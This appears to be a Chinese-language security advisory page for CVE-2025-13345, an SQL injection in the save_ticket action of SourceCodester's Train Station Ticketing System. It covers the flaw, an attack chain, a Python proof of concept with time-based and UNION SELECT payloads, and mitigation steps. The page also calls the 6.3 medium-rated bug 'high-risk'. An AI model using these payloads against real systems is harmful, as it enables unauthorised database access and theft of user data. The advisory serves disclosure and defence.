IPBUF安全漏洞报告
English
CVE-2025-13345 CVSS 6.3 中危

CVE-2025-13345: SourceCodester火车票务系统save_ticket接口SQL注入漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-13345
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Train Station Ticketing System 1.0

相关标签

SQL注入CVE-2025-13345SourceCodesterTrain Station Ticketing SystemWeb应用安全数据库安全OWASP网络攻击中危漏洞ajax.php

漏洞概述

CVE-2025-13345是SourceCodester Train Station Ticketing System 1.0版本中的一个高危安全漏洞。该漏洞存在于Web应用程序的ajax.php文件中,具体位于save_ticket功能的参数处理部分。由于应用程序在处理用户输入时未对传入参数进行充分的输入验证和SQL语句参数化处理,攻击者可以通过构造恶意SQL语句片段注入到数据库查询中,从而实现对数据库的非授权访问和操作。该漏洞的CVSS评分为6.3,属于中等严重程度,攻击向量为网络层面,认证要求较低权限即可实施攻击,无需用户交互。攻击者利用该漏洞可以读取数据库中的敏感信息,包括用户数据、票务信息等,甚至在特定条件下可能实现数据篡改或系统提权。由于该漏洞的利用代码已在互联网公开披露,攻击者可以轻易获取利用方法,对使用该系统的组织和个人构成严重安全威胁。建议受影响的用户尽快采取修复措施或应用临时缓解方案。

技术细节

该SQL注入漏洞源于SourceCodester Train Station Ticketing System 1.0的ajax.php文件中save_ticket功能对用户输入参数缺乏有效过滤。攻击者可以通过HTTP请求向/ajax.php?action=save_ticket端点发送包含恶意SQL代码的参数值。由于应用程序直接将这些参数值拼接到SQL查询语句中而未进行参数化查询或转义处理,恶意SQL代码将被数据库服务器执行。具体来说,当用户提交票务信息时,系统将表单数据直接用于构建SQL INSERT语句,攻击者可以通过在ticket相关字段中注入SQL操作符如单引号(')、UNION SELECT、AND等构造Payload。成功利用此漏洞后,攻击者能够枚举数据库中的所有表和字段,提取用户账户信息、密码哈希、交易记录等敏感数据。在某些数据库配置下,攻击者还可能通过 INTO OUTFILE 语句将恶意代码写入服务器文件系统,实现远程代码执行。建议开发者使用参数化查询(Prepared Statements)或ORM框架来防止此类注入攻击,同时对所有用户输入进行严格的输入验证和白名单过滤。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统为SourceCodester Train Station Ticketing System 1.0,并确定存在/ajax.php端点
STEP 2
步骤2: 漏洞探测
攻击者向/ajax.php?action=save_ticket发送测试请求,观察应用程序对特殊字符如单引号的响应,判断是否存在SQL注入漏洞
STEP 3
步骤3: Payload构造
根据数据库类型构造针对性的SQL注入Payload,如使用UNION SELECT提取数据或使用时间盲注技术
STEP 4
步骤4: 数据提取
通过注入的SQL语句枚举数据库表结构,提取用户账户、密码哈希、票务记录等敏感信息
STEP 5
步骤5: 权限提升或持久化
在某些配置下,攻击者可能利用数据库的写权限写入webshell或执行系统命令实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13345 SQL Injection PoC # Target: SourceCodester Train Station Ticketing System 1.0 # Endpoint: /ajax.php?action=save_ticket target_url = "http://target-server/ajax.php" params = { "action": "save_ticket" } # SQL Injection payload - extract database version payload = "1' AND (SELECT 7747 FROM (SELECT(SLEEP(5)))x) AND 'a'='a" # Payload for database enumeration enum_payload = "1' UNION SELECT NULL,version(),user(),database(),NULL-- - data = { "ticket_data": payload } print(f"[*] Sending SQL injection payload to {target_url}") print(f"[*] Payload: {payload}") try: response = requests.post(target_url, params=params, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response time: {response.elapsed.total_seconds()}s") if response.elapsed.total_seconds() >= 5: print("[!] Time-based SQL injection confirmed!") else: print("[*] Check response for SQL error messages") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

影响范围

SourceCodester Train Station Ticketing System 1.0

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1) 在Web应用防火墙中配置SQL注入检测规则,拦截包含可疑SQL关键字的请求;2) 对ajax.php文件中的save_ticket功能添加输入过滤逻辑,使用正则表达式过滤单引号、分号等特殊字符;3) 限制该接口的访问权限,仅允许已认证的管理员用户访问;4) 临时关闭save_ticket功能,直到漏洞修复完成;5) 加强数据库账户权限,移除不必要的文件写入和命令执行权限;6) 启用数据库审计日志,监控异常的SQL查询行为。建议尽快应用官方发布的安全补丁或升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表